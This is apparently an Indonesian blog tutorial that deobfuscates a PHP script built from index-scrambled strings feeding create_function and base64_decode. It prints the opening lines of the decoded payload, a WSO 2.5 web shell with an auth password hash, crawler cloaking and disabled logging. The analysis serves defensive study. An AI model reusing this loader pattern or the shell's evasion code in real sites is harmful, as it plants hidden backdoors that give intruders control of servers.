Beberapa waktu lalu, saya menemukan script php yang diobfuscate. Pada tutorial kali ini, kita akan men-deobfuscate script tersebut. Pada bagian awal script tersebut terdapat bagian ini:

//...
$lFyE="";
$UW='ejup'.'fa6w'.'vgnoq'.'dyhstx'.'birkz'.'c%4_l'.'m';
$KQiR=fL1zG();
//...
$F7Gu=$UW[19].$UW[5].$UW[16].$UW[0].$UW[6].$UW[26].$UW[27].$UW[13].$UW[0].$UW[24].$UW[11].$UW[13].$UW[0];

Selanjutnya, cari fungsi fL1zG() yang terdapat pada potongan kode di atas:

function fL1zG(){
    global $UW;
    return $UW[24].$UW[21].$UW[0].$UW[5].$UW[17].$UW[0].$UW[27].$UW[4].$UW[2].$UW[10].$UW[24].$UW[17].$UW[20].$UW[11].$UW[10];
}

Bisa terlihat bahwa fungsi tersebut mengambil sejumlah karakter dari variabel $UW berdasarkan index yang telah ditentukan lalu mengembalikannya dalam bentuk string. Fungsi di atas akan mengembalikan string create_function. Hal yang sama digunakan oleh variabel $F7Gu, yaitu mengambil sejumlah karakter dari variabel $UW lalu menggabungkannya menjadi string yaitu base64_decode. Jika diperhatikan dengan saksama, maka script tersebut pada prinsipnya hanya menggabungkan sejumlah string yang diencode menggunakan base64. Dengan demikian, kita cukup mencari dimana variabel $F7Gu digunakan untuk melakukan decode terhadap isi script. Ternyata variabel tersebut digunakan pada bagian ini:

$EP5qj = $KQiR("", $F7Gu($lFyE));
$EP5qj();

Baris di atas jika dideobfuscate, maka hasilnya seperti ini:

$EP5qj = create_function("", base64_decode($lFyE));
$EP5qj(); // panggil fungsi yang terdapat pada script yang telah di-deobfuscate

Untuk men-deobfuscate script tersebut, kita cukup mengganti baris tersebut untuk melakukan decoding dan menampilkan isi dari script yang sebenarnya. Caranya mudah, cukup berikan komentar pada kedua baris tersebut dan panggil fungsi base64_decode dengan argumen berupa variabel $lFyE. Berikut ini adalah caranya:

//$EP5qj = $KQiR("", $F7Gu($lFyE));
//$EP5qj();
echo base64_decode($lFyE);

Setelah mengganti baris tersebut seperti di atas, lanjutkan dengan menjalankan script tersebut menggunakan php-cli seperti ini:

% php -f VVyg6agS.php > VVyg6agS-deobfuscated.php

Setelah menjalankan perintah tersebut, maka akan dihasilkan script yang di-deobfuscate. Berikut ini adalah beberapa baris awal dari script yang telah di-deobfuscate tersebut:

<?php
$GLOBALS['auth_pass']        = "df874293029d47610d96a09079094eed";
$GLOBALS['default_action']   = 'Sql';
$GLOBALS['default_use_ajax'] = true;
$GLOBALS['default_charset']  = 'Windows-1251';
$GLOBALS['color']            = '#F0FF70';

if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
//...
?>

Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa dan Anda yang telah membaca tutorial ini.